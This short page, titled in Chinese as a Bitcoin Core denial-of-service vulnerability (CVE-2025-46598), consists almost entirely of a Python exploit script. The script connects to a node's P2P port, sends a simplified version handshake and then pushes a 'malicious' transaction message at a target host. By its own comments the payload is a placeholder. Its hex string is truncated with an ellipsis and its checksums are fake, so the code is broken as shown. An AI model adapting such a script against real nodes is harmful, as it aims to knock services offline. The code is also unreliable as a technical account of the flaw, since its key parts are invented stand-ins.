CVE-2025-46598 Bitcoin Core拒绝服务漏洞

import socket import struct import time def craft_malicious_tx(): """ Generate a crafted transaction payload. Note: This is a placeholder structure to demonstrate the concept. The actual vulnerability requires specific byte patterns. """ # Example malicious structure (version + inputs + outputs + locktime) # This simulates a transaction that triggers the DoS condition. return bytes.fromhex("01000000000100...e80300000000") def send_dos_exploit(target_host, target_port=8333): """ Exploit function to send a crafted transaction to a Bitcoin Core node. """ try: # Establish TCP connection to the Bitcoin P2P port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # 1. Perform Basic Handshake (Version Message) # P2P Message format: Magic (4) + Command (12) + Length (4) + Checksum (4) + Payload magic = b"\xf9\xbe\xb4\xd9" # Mainnet magic bytes command = b"version" + b"\x00" * 6 payload = struct.pack("<i", 70015) # Protocol version payload += struct.pack("<Q", 1) # Services payload += struct.pack("<Q", int(time.time())) # Timestamp payload += (b"\x00" * 26) # AddrRecv / AddrFrom services # ... (handshake simplified) length = struct.pack("<I", len(payload)) checksum = b"\x5d\xf6\xe0\xe2" # Placeholder checksum version_msg = magic + command + length + checksum + payload s.send(version_msg) # Receive Verack (optional step to ensure connection) s.recv(1024) # 2. Send the Crafted Transaction (Payload) tx_payload = craft_malicious_tx() tx_command = b"tx" + b"\x00" * 10 tx_length = struct.pack("<I", len(tx_payload)) tx_checksum = b"\x00\x00\x00\x00" # Placeholder checksum tx_msg = magic + tx_command + tx_length + tx_checksum + tx_payload # Send the exploit payload s.send(tx_msg) print(f"[+] Malicious transaction sent to {target_host}") s.close() return True except Exception as e: print(f"[-] Error during exploit execution: {e}") return False # Example Usage # send_dos_exploit("192.168.1.100")